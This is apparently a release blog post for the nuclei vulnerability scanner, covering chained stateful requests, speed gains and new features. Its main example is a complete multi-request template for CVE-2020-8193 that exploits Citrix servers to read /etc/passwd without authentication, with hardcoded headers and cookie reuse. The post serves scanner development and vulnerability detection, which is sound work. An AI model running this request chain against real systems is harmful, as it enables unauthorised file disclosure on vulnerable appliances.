If you’re reading about nuclei for the first time, we suggest you start here at this blog post which introduces the basic idea behind nuclei.

Stateful Dynamic requests

One of the major limitation with previous versions of nuclei was the inability to perform multi-step or chained requests making it impossible to use it in a process where some dynamic state needed to be maintained or session needed to be created.

With the latest release, you can very easily create such complex workflows without the requirement of programming knowledge. Simple YAML steps can be used to define the flow and conditions of the requests.

A very good example to showcase such complex flow is the recently released CVE-2020-8193 for Citrix Servers. The exploit requires multiple requests, where a cookie is required to be sent with all the requests which is retrieved from the first request, as well as some dynamic variables from responses also need to be sent with each request.

Step by step breakdown of CVE-2020-8193 Nuclei Template

  1. First requirement for a successful exploit is to obtain SESSID cookies from 1st request and reuse them for all further operations. For this, cookie-reuse: true flag can be used within a request which will maintain a session across all defined requests.

    requests:
      cookie-reuse: true
      - raw:
          - |
            POST /pcidss/report?type=allprofiles&sid=loginchallengeresponse1requestbody&username=nsroot&set=1 HTTP/1.1
            Host: {{Hostname}}
            User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
            Content-Type: application/xml
            X-NITRO-USER: xpyZxwy6
            X-NITRO-PASS: xWXHUJ56
       
            <appfwprofile><login></login></appfwprofile>
    
  2. Another requirement for the exploit was the extraction of a dynamic variable from the response body call rand_key which was sent in the 4th request. All the later requests needed that value otherwise they would fail. We approached this by adding an optional field to extractors called internal which marks the extractor results for internal use only in templating. All the occurrences of the extractor name which in this case is randkey will be replaced in the requests with values retrieved from the response.

          # Previous requests get the randkey using 
          # extractors. We simply pass it as header.
          - |
            POST /pcidss/report?type=allprofiles&sid=loginchallengeresponse1requestbody&username=nsroot&set=1 HTTP/1.1
            Host: {{Hostname}}
            User-Agent: python-requests/2.24.0
            Accept: */*
            Connection: close
            Content-Type: application/xml
            X-NITRO-USER: oY39DXzQ
            X-NITRO-PASS: ZuU9Y9c1
            rand_key: randkey
       
            <appfwprofile><login></login></appfwprofile>
               
         ...
            
        # Create an extractor for randkey retrieval on runtime.
        extractors:
          - type: regex
            name: randkey
            part: body
            internal: true
            regex:
              - "(?m)[0-9]{3,10}\\.[0-9]+"
    

The final result for detection as well as exploitation templates is given below which reads the /etc/passwd file by exploiting the CVE.

id: CVE-2020-8193

info:
  name: Citrix unauthenticated LFI
  author: pdteam
  severity: high

  # Source:- https://github.com/jas502n/CVE-2020-8193
  # This template covers only the detection part, use the above exploit for the exploit confirmation.

requests:
  - raw:
      - |
        POST /pcidss/report?type=allprofiles&sid=loginchallengeresponse1requestbody&username=nsroot&set=1 HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
        Content-Type: application/xml
        X-NITRO-USER: xpyZxwy6
        X-NITRO-PASS: xWXHUJ56

        <appfwprofile><login></login></appfwprofile>

      - |
        GET /menu/ss?sid=nsroot&username=nsroot&force_setup=1 HTTP/1.1
        Host: {{Hostname}}
        User-Agent: python-requests/2.24.0
        Accept: */*
        Connection: close

      - |
        GET /menu/neo HTTP/1.1
        Host: {{Hostname}}
        User-Agent: python-requests/2.24.0
        Accept: */*
        Connection: close

      - |
        GET /menu/stc HTTP/1.1
        Host: {{Hostname}}
        User-Agent: python-requests/2.24.0
        Accept: */*
        Connection: close

      - |
        POST /pcidss/report?type=allprofiles&sid=loginchallengeresponse1requestbody&username=nsroot&set=1 HTTP/1.1
        Host: {{Hostname}}
        User-Agent: python-requests/2.24.0
        Accept: */*
        Connection: close
        Content-Type: application/xml
        X-NITRO-USER: oY39DXzQ
        X-NITRO-PASS: ZuU9Y9c1
        rand_key: randkey

        <appfwprofile><login></login></appfwprofile>

      - |
        POST /rapi/filedownload?filter=path:%2Fetc%2Fpasswd HTTP/1.1
        Host: {{Hostname}}
        User-Agent: python-requests/2.24.0
        Accept: */*
        Connection: close
        Content-Type: application/xml
        X-NITRO-USER: oY39DXzQ
        X-NITRO-PASS: ZuU9Y9c1
        rand_key: randkey

        <clipermission></clipermission>

    cookie-reuse: true

    # Using cookie-reuse to maintain session between each request, same as browser. 

    extractors:
      - type: regex
        name: randkey
        part: body
        internal: true
        regex:
          - "(?m)[0-9]{3,10}\\.[0-9]+"

        # Using rand_key as dynamic variable to make use of extractors at run time.


    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0:"
        part: body

Speed Improvements

Another thing that we got feedbacks about was the speed of the scans performed by nuclei. We reworked the engine of nuclei, specifically the way templates are executed adding parallelism which increased the speed of scans by magnitudes.

Given below are some comparisons with the previous and new versions of nuclei on 1000 URLs with 60 templates. You can compare them yourself by downloading the latest release and giving it a go.

Type Old New
Single URL Multiple Templates 1m20.635s 0m12.169s
Single Template Multiple URLs 3m4.362s 0m0.687s

Other key improvements

  • Progress Bar - A new progress bar feature was added to allow viewing statistics of requests sent, etc in a very pretty format. All thanks to @therealdudez for his contributions and work on the feature.

  • Helper functions - It is now possible to use Helper function anywhere in the RAW requests, which was earlier limited to only when using payloads (fuzzing).

  • Muti template/directory input support - Again thanks to @therealdudez, it’s now possible to feed multiple templates as input. For example, nuclei -t tokens -t cves -t files/git-config.yaml.

  • Template blobbing - Now it’s possible to use glob patterns in template input. For example, nuclei -t 'cves/CVE-2020*' all thanks to @wDahlenb

We also reworked the guide document as it’s one of the most important resources to create your own templates, adding information about newly added changes to nuclei and also lots of examples for various use cases. Checkout the new guide website at https://nuclei.projectdiscovery.io.

We appreciate it if you can contribute to project by adding new templates / features, as community support is what drive us to keep working on this project and help others to find more valid security issues which improves the infosec industry overall.

Future of the project

In future, we’ll be adding the following new features to the project. Follow us to keep in touch with the progress.

  • A new documentation site for easy access to templating guide and docs.
  • UI / Web Form to create a template with just a few clicks.
  • Test Server to validate nuclei templates at runtime.
  • Notification module to send alerts on identified bugs.

Questions / Feedback

If you’re already a user of nuclei and would like to suggest some feature or share some ideas, feel free to reach out. You can contact/tweet us on twitter @pdnuclei or @pdiscoveryio. You can also email us at [email protected]. We’d love to hear from you.

You can follow the project on github https://github.com/projectdiscovery/nuclei as well as the related templates repository at https://github.com/projectdiscovery/nuclei-templates. Contributions of new templates as well as ideas are very welcome!